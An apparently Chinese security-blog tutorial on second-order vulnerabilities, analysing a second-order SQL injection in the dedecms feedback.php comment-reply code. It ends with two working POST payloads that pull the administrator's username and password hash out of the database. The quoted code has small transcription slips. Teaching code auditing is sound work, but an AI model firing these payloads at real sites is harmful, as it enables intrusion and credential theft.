查看原文
其他

二次漏洞审计

计算机与网络安全 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


微信公众号:计算机与网络安全

ID:Computer-network

二次漏洞有点像存储型XSS的味道,就算payload插进去了,能不能利用还得看页面输出有没有过滤,由于这一类漏洞挖掘起来逻辑会稍微复杂一点,针对性挖掘的人比较少,所以目前这方面还属于重灾区,大多数应用只要肯仔细去通读研究全文代码,理解业务逻辑,还是能挖出来部分二次漏洞的。既然二次漏洞现在这么严重,那么我们来看看什么是二次漏洞以及怎样挖掘。


一、什么是二次漏洞


需要先构造好利用代码写入网站保存,在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞,举一个简单的SQL注入例子,攻击者A在网站评论的地方发表了带有注入语句的评论,这时候注入语句已经被完整地保存到数据库中,但是评论引用功能存在一个SQL注入漏洞,于是攻击者在评论处引用刚提交的带有注入语句的评论,提交后server端从数据库中取出第一次的评论,由于第一次评论中带有单引号可闭合第二次的语句,从而触发了注入漏洞。


二次漏洞的出现归根结底是开发者在可信数据的逻辑上考虑不全面,开发者认为这个数据来源或者这个配置是不会存在问题的,而没有想到另外一个漏洞能够修改这些“可信”数据,整个漏洞产生的流程图如下图所示。


这样的漏洞没有很大的逻辑关联,所以在发现和修补上面都比一般的直接利用的漏洞相对复杂一点。


二、二次漏洞审计技巧


虽然二次漏洞写入payload和触发payload很可能不在一个地方,但是还是可以通过找相关关键字去定位的,只是精准度会稍稍降低,比如可以根据数据库字段、数据表名等去代码中搜索,大多数二次漏洞的逻辑性比一般的漏洞强得多,所以为了更好地挖掘到二次漏洞,最好还是把全部代码读一遍,这样能帮助我们更好地了解程序的业务逻辑和全局配置,读代码挖的时候肯定轻松加愉快。


业务逻辑越是复杂的地方越容易出现二次漏洞,我们可以重点关注购物车、订单这块,另外还有引用数据、文章编辑、草稿等,这些地方是跟数据库交互的,跟文件系统交互的就是系统配置文件了,不过一般这些都是需要管理员权限才能操作。而在二次漏洞类型里面,我们可以重点关注SQL注入、XSS。

三、dedecms二次注入漏洞分析


这里我们以dedecms的feedback.php文件引用评论的SQL注入漏洞来做一个分析。


漏洞在/plus/feedback.php文件,代码如下:


//保存评论内容

if($comtype == 'comments')

{

$arctitle = addslashes($title);

//保存评论的文章标题

$typeid = intval($typeid);

$ischeck = intval($ischeck);

$feedbacktype = preg_replace("#[^0-9a-z]#i","",$feedbacktype);

if($msg!='')

{

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg');";

$rs = $dsql->ExecuteNoneQuery($inquery);

if(!$rs)

{

ShowMsg('发表评论错误!','-1');

//echo $dsql->GetError();

exit();


这段代码的功能是保存用户在文章评论页面提交的评论信息,其中:


$arctitle = addslashes($title);


获取被评论的文章标题,这里使用了addslashes()函数过滤,接着:


$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg');";

$rs = $dsql->ExecuteNoneQuery($inquery);

$rs = $dsql->ExecuteNoneQuery($inquery);


将提交的$arctitle变量保存到数据库中,这个过程是没有问题的,我们接着看:


//引用回复

elseif($comtype == 'reply')

{

$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id '$fid'");

$arctitle = $row['arctitle'];

//取出之前保存的文章标题

$aid =$row['aid'];

$msg = $quotemsg.$msg;

//echo $msg."<br /><br />";

$msg = HtmlReplace($msg,2);

//将$arctitle插入到数据库

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

$dsql->ExecuteNoneQuery($inquery);

}


这段代码的作用是引用之前的评论到新的评论中,其中:


$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id '$fid'");

$arctitle = $row['arctitle'];

//取出之前保存的文章标题


取出之前提交的文章标题,赋值给$arctitle变量,再往下:


$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arc-title`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

$dsql->ExecuteNoneQuery($inquery);


可以看到$arctitle变量被写入到数据库,看到这里还记不记得,这个$arctitle是由用户提交的,第一次写入数据库的时候使用了addslashes()函数过滤,但是引用评论重新写入数据库的时候并没有过滤,文章标题的数据在整个流程的变化如下图所示。


用SQL来表示一下如下:


第一次插入的SQL为:


insert into xx(arctitle)values('11\'');


保存到数据库的标题内容为11',然后这个数据被select查询出来拼接到第二次插入的SQL上,SQL语句如下:


insert into xx(arctitle)values('11'');


可以看到引发了SQL注入。


在这个漏洞中,标题字段有60个字符的长度限制,不能一次性把完整的payload写入进去,所以我们需要两次提交payload,最终利用方式如下,第一次请求提交:


/plus/feedback.php?aid=52


POST内容:


action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&title=xx',(char(@`'`)),/*


我们打印SQL语句出来看看,如下图所示。


第二次请求:


/plus/feedback.php?aid=52


POST内容:


action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,wd)/**/from/**/dede_member/**/limit/**/1))%23


打印SQL语句出来看看,如下图所示。


发送两次请求后访问:


/plus/feedback.php?aid=52


可以看到管理员密码已经被读取出来,如下图所示。


微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存